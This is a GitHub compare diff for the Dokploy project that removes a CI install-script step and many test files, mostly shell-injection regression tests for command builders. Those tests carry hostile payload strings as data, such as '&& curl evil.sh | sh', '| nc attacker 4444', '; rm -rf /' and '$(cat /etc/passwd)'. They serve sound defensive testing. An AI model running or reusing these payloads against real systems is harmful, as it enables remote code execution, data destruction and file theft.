Compare commits

..

1 Commits

Author SHA1 Message Date
Mauricio Siu
b354c3cb0f fix(projects): make project cards grid fill available width on wide screens 2026-07-05 15:06:18 -06:00
287 changed files with 3576 additions and 22025 deletions

View File

@@ -152,14 +152,6 @@ jobs:
VERSION=$(node -p "require('./apps/dokploy/package.json').version") VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release - name: Create Release
uses: softprops/action-gh-release@v2 uses: softprops/action-gh-release@v2
with: with:
@@ -168,7 +160,6 @@ jobs:
generate_release_notes: true generate_release_notes: true
draft: false draft: false
prerelease: false prerelease: false
files: install.sh
env: env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

View File

@@ -69,5 +69,4 @@ EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \ HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1 CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS) CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]

View File

@@ -1,26 +0,0 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});
it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});

View File

@@ -1,106 +0,0 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});

View File

@@ -1,50 +0,0 @@
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
it("should redact access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
});
it("should redact secret access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("supersecret");
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
});
it("should redact both credentials simultaneously", () => {
const cmd =
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIA123");
expect(redacted).not.toContain("secret456");
expect(redacted).toContain('--s3-region="us-east-1"');
});
it("should not modify non-credential flags", () => {
const cmd =
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).toBe(cmd);
});
it("should handle commands with no credentials", () => {
const cmd = "rclone lsf :s3:bucket/";
expect(redactRcloneCredentials(cmd)).toBe(cmd);
});
it("should handle error strings containing credentials", () => {
const errorStr =
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MYSECRET");
expect(redacted).toContain("[REDACTED]");
});
});

View File

@@ -1,70 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});

View File

@@ -1,104 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
});

View File

@@ -42,39 +42,6 @@ test("Add suffix to volumes declared directly in services", () => {
); );
}); });
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = ` const composeFileTypeVolume = `
version: "3.8" version: "3.8"

View File

@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});

View File

@@ -1,66 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});

View File

@@ -1,93 +0,0 @@
import {
decryptValue,
encryptValue,
exportEncryptionKeys,
isEncrypted,
} from "@dokploy/server/lib/encryption";
import { afterEach, describe, expect, it, vi } from "vitest";
describe("encryptValue / decryptValue", () => {
it("round-trips a value", () => {
const value =
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
const encrypted = encryptValue(value);
expect(encrypted).not.toBe(value);
expect(isEncrypted(encrypted)).toBe(true);
expect(encrypted).not.toContain("secret");
expect(decryptValue(encrypted)).toBe(value);
});
it("uses a random IV so equal inputs produce different ciphertexts", () => {
const value = "KEY=value";
expect(encryptValue(value)).not.toBe(encryptValue(value));
});
it("passes legacy plaintext through on decrypt", () => {
const plaintext = "KEY=legacy-plaintext-value";
expect(decryptValue(plaintext)).toBe(plaintext);
});
it("passes empty values through unchanged", () => {
expect(encryptValue("")).toBe("");
expect(decryptValue("")).toBe("");
});
it("does not double-encrypt an already encrypted value", () => {
const encrypted = encryptValue("KEY=value");
expect(encryptValue(encrypted)).toBe(encrypted);
});
it("throws a descriptive error on tampered ciphertext", () => {
const encrypted = encryptValue("KEY=value");
const tampered = `${encrypted.slice(0, -4)}AAAA`;
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
});
it("exports the derived keys as 32-byte hex lines for backups", () => {
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
});
});
describe("dedicated ENCRYPTION_KEY", () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.resetModules();
});
const loadWithEncryptionKey = async (key: string) => {
vi.stubEnv("ENCRYPTION_KEY", key);
vi.resetModules();
return await import("@dokploy/server/lib/encryption");
};
it("encrypts with the dedicated key when set", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const encrypted = withKey.encryptValue("KEY=value");
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
// The default (auth-secret derived) module cannot read it
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
});
it("still decrypts legacy values via the auth-secret fallback", async () => {
// Encrypted before the install adopted a dedicated key
const legacyEncrypted = encryptValue("KEY=legacy-value");
const withKey = await loadWithEncryptionKey("my-dedicated-key");
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
});
it("re-encrypts with the dedicated key on write", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const reEncrypted = withKey.encryptValue(
withKey.decryptValue(encryptValue("KEY=migrated")),
);
const other = await loadWithEncryptionKey("another-key");
// Readable only by the dedicated key (or its own fallback), proving
// the write used the primary key, not the legacy one
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
expect(() => other.decryptValue(reEncrypted)).toThrow();
});
});

View File

@@ -1,89 +0,0 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// How git-provider commands escape a single user value before it reaches the shell.
const shellArg = (value: string) => quote([String(value ?? "")]);
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("git provider shell escaping (quote)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellArg(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellArg(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -1,8 +1,8 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import { import {
canEditDeployGitSource, canEditDeployGitSource,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
} from "@dokploy/server/services/git-provider"; } from "@dokploy/server/services/git-provider";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockDb = vi.hoisted(() => ({ const mockDb = vi.hoisted(() => ({
query: { query: {

View File

@@ -1,91 +0,0 @@
import { TRPCError } from "@trpc/server";
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
// assertGitProviderAccess) runs against controlled data. Mocking the exported
// function would NOT intercept the intra-module call, so we mock one layer down.
const mockDb = vi.hoisted(() => ({
query: {
gitProvider: {
findMany: vi.fn(),
},
member: {
findFirst: vi.fn(),
},
},
}));
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
const mockHasValidLicense = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: mockHasValidLicense,
}));
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
const ORG = "org-1";
const USER = "user-member";
const session = { userId: USER, activeOrganizationId: ORG };
// Provider owned by USER within ORG -> should be accessible.
const providerMine = {
gitProviderId: "gp-mine",
userId: USER,
sharedWithOrganization: false,
};
// Provider owned by someone else within ORG, not shared, not assigned.
const providerOther = {
gitProviderId: "gp-other",
userId: "user-2",
sharedWithOrganization: false,
};
beforeEach(() => {
vi.clearAllMocks();
mockHasValidLicense.mockResolvedValue(false);
mockDb.query.gitProvider.findMany.mockResolvedValue([
providerMine,
providerOther,
]);
mockDb.query.member.findFirst.mockResolvedValue({
role: "member",
accessedGitProviders: [],
});
});
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-other",
organizationId: ORG,
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("allows a same-org provider the caller owns", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: ORG,
}),
).resolves.toBeUndefined();
});
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
const err = await assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}).catch((e) => e);
expect(err).toBeInstanceOf(TRPCError);
});
});

View File

@@ -1,11 +1,16 @@
import { beforeEach, describe, expect, it, vi } from "vitest"; import { beforeEach, describe, expect, it, vi } from "vitest";
const hasValidLicense = vi.fn();
const getWebServerSettings = vi.fn(); const getWebServerSettings = vi.fn();
const findFirstOrg = vi.fn();
const findFirstServer = vi.fn(); const findFirstServer = vi.fn();
vi.mock("@dokploy/server/db", () => ({ vi.mock("@dokploy/server/db", () => ({
db: { db: {
query: { query: {
organization: {
findFirst: (...args: unknown[]) => findFirstOrg(...args),
},
server: { server: {
findFirst: (...args: unknown[]) => findFirstServer(...args), findFirst: (...args: unknown[]) => findFirstServer(...args),
}, },
@@ -14,56 +19,91 @@ vi.mock("@dokploy/server/db", () => ({
})); }));
vi.mock("@dokploy/server/db/schema", () => ({ vi.mock("@dokploy/server/db/schema", () => ({
organization: {},
server: {}, server: {},
})); }));
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: (...args: unknown[]) => hasValidLicense(...args),
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({ vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args), getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
})); }));
vi.mock("drizzle-orm", () => ({ eq: vi.fn() })); vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
import { resolveBuildsConcurrency } from "../../server/queues/concurrency"; import {
assertBuildsConcurrencyAllowed,
resolveBuildsConcurrency,
} from "../../server/queues/concurrency";
import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue"; import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
describe("resolveBuildsConcurrency", () => { describe("resolveBuildsConcurrency (enterprise gating)", () => {
beforeEach(() => { beforeEach(() => {
vi.clearAllMocks(); vi.clearAllMocks();
findFirstOrg.mockResolvedValue({ id: "org-1" });
}); });
describe("local web server partition", () => { describe("local web server partition", () => {
it("returns the configured concurrency", async () => { it("returns the configured concurrency when licensed", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 }); getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5); await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
}); });
it("does not cap high values", async () => { it("clamps to the free max (2) when there is no valid license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 10 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("allows the free max (2) without a license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 2 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("does not cap the value when licensed (N allowed)", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 }); getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe( await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
999, 999,
); );
}); });
it("floors values below 1 to 1", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
it("defaults to 1 when settings are missing", async () => { it("defaults to 1 when settings are missing", async () => {
getWebServerSettings.mockResolvedValue(undefined); getWebServerSettings.mockResolvedValue(undefined);
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1); await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
}); });
}); });
describe("remote server partition", () => { describe("remote server partition", () => {
it("returns the server concurrency", async () => { it("returns the server concurrency when its org is licensed", async () => {
findFirstServer.mockResolvedValue({ buildsConcurrency: 4 }); findFirstServer.mockResolvedValue({
buildsConcurrency: 4,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4); await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
expect(hasValidLicense).toHaveBeenCalledWith("org-1");
});
it("clamps to the free max (2) when the server org is not licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 8,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(2);
}); });
it("defaults to 1 for an unknown server", async () => { it("defaults to 1 for an unknown server", async () => {
@@ -79,3 +119,30 @@ describe("resolveBuildsConcurrency", () => {
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1); await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
}); });
}); });
describe("assertBuildsConcurrencyAllowed", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("allows up to the free max (2) without checking the license", async () => {
await expect(
assertBuildsConcurrencyAllowed(2, "org-1"),
).resolves.toBeUndefined();
expect(hasValidLicense).not.toHaveBeenCalled();
});
it("allows more than 2 when licensed", async () => {
hasValidLicense.mockResolvedValue(true);
await expect(
assertBuildsConcurrencyAllowed(5, "org-1"),
).resolves.toBeUndefined();
});
it("rejects more than 2 without a license", async () => {
hasValidLicense.mockResolvedValue(false);
